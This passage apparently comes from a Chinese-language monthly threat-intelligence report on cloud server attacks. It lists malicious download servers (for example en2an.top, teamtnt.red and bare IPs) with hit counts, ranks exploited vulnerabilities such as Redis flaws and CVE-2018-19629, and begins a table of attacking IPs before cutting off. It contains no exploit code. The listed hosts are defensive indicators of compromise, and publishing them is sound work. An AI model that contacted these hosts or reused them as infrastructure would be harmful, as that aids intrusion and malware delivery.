<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">17</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">29,552</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><span class="SpellE"><b><span lang="EN-US">crypto.htxreceive.top</span></b></span><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:
宋体"><o:p></o:p></span></b></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">289</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">81</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">5</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">371,934</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">en2an.top</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">232</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">1</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">1</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3,028</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">194.145.227.21</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">195</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">2</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">1</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">455</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">104.192.82.138</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">145</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">30</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">4</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">8,533</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><span class="SpellE"><b><span lang="EN-US">teamtnt.red</span></b></span><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:
宋体"><o:p></o:p></span></b></p>
</td>
<td width="85" nowrap="" style="width:63.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">104</span></p>
</td>
<td width="96" nowrap="" style="width:71.9pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3</span></p>
</td>
<td width="113" nowrap="" style="width:3.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3</span></p>
</td>
<td width="100" style="width:74.85pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">694</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p><strong>en2an.top、teamtnt.red和104.192.82.138</strong>是11月新进入前10的下载服务器。其中<strong>en2an.top</strong>注册于2021年11月27日，是11月新注册的域名，目前关于该域名的IOC信息比较少，容易被忽略，建议相关单位及时关注和屏蔽该域名。</p><h3 id="--1">漏洞的扫描和攻击</h3><p>Redis漏洞仍然是被云服务攻击者使用最多的漏洞。其他还包括SMTP协议扫描、敏感文件嗅探、Hyland拒绝服务漏洞攻击等。相比于10月，本月针对安防产品和路由器的云服务器攻击者相对较少。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image-6.png" class="kg-image" alt loading="lazy"><figcaption>被最多攻击源IP利用的10个漏洞（Others是除前10名以外的攻击源IP数量）</figcaption></figure><p>Redis是被最多攻击者攻击的设备，攻击源IP数量远超其他。此外也有较多针对Hadoop、Atlassian、微软、Apache等厂商的设备的攻击。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image-15.png" class="kg-image" alt loading="lazy"><figcaption>被最多攻击者攻击的10个厂商/软件（Others是除前10名以外的攻击源IP数量）</figcaption></figure><p>从CVE编号来看，CVE-2018-19629是最多攻击源IP利用的有CVE编号的漏洞，攻击源IP数量约是第二多的CVE-2019-3396的4倍。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/12/image-14.png" class="kg-image" alt loading="lazy"><figcaption>被最多攻击源IP利用的10个有CVE编号的漏洞（Others是除前10名以外的攻击源IP数量）</figcaption></figure><p>以下是利用的漏洞种类最多的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:346.35pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:10.8pt">
<td width="141" nowrap="" valign="top" style="width:106.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></b><b><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:
0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="151" nowrap="" valign="top" style="width:4.0cm;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><span class="GramE"><b><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">云服务</span></b></span><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">商</span></b><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="89" nowrap="" valign="top" style="width:66.75pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">攻击次数</span></b><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="80" nowrap="" valign="top" style="width:60.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">漏洞数量</span></b><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:10.8pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">106.11.34.197<o:p></o:p></span></b></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman"">阿里云</span></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
